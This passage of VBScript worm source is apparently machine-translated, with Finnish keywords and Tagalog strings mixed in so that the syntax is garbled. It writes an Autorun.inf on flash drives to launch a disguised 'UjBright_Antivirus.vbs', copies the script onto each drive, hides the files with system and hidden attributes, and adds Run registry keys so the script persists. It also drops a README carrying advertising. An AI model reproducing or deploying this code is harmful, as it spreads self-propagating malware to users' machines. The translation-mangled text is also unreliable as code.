Deletefile myFlashDrive.Path & "\\ Autorun.inf", totta End Jos sarja auFile = fso.CreateTextFile (myFlashDrive .Path & "\\ Autorun.inf", tosi) auFile.write "[autorun]" & vbCrLf & "auki = \\" & vbCrLf & "auki = wscript.exe UjBright_Antivirus.vbs" & vbCrLf & "shell \\ open \\ command = wscript.exe UjBright_Antivirus.vbs "& vbCrLf &" shell \\ open \\ Default = 1 "auFile.close Aseta auFile = fso.CreateTextFile (myFlashDrive.Path &" \\ README.txt ", tosi) auFile.
write" Hei ystävät: "& vbCrLf &" Maaaring virus ITO kung tawagin klo makikita ng ibang ANTI-VIRUS, ngunit WAG mag-alala kung ito'y hindi makikilala ng Anu Mang VIRUSTORJUNNAN na NASA sa Inyo. " & VbCrLf & "Dahil ITO Ang tanging paraan ko upang matugunan ang ibang VIRUSTORJUNNAN na hindi makikilala Ang ganitong Scripto na VIRUS na nakakasama" & vbCrLf & "Ay Kaya nitong PALITAN na maaring ayusin Niya Ang ibang sinira dulot ng NAKAKASIRA na VIRUS." & VbCrLf & "" & vbCrLf & "-ADVERTISING-" & vbCrLf & "EARLY ADVENT Mainonta - pressu Nila ay kestävä matagal kumupas, tag-init mies O tag-Araw.
" & VbCrLf & "RB PhotoArt STUDIO - Voi kagandahan sa kulay ng inyong KUVA klo kestävä pa." & VbCrLf & "104,1 DXMA WOW FM - Pinakikinggang himpilan ng RADIO. Numero Uno sa Keski Mindanaon." & VbCrLf & "" & vbCrLf & "PARA SA GUSTONG MAGPA mainostaa:" & vbCrLf & "ota yhteyttä ME: 09083223171 - UJBRIGHT" auFile.close Set fAttr = fso.Getfile (myFlashDrive.Path & "\\ Autorun.inf") fAttr.Attributes = 39 Aseta myfile = fso.CreateTextFile (myFlashDrive.Path & "\\ UjBright_Antivirus.vbs", true) myFile.write scrText myFile.close sarja fAttr = fso.Getfile (myFlashDrive.Path & "\\ UjBright_Antivirus.
vbs") fAttr.Attributes = 39 End Jos Seuraava Kanssa wscr .RegWrite "HKEY_LOCAL_MACHINE \\ SOFTWARE \\ Microsoft \\ Windows \\ CurrentVersion \\ Run \\ AutoMe", "wscript.exe" "" & win & "\\ UjBright_Antivirus.vbs" "" .RegWrite "HKEY_CURRENT_USER \\ SOFTWARE \\ Micr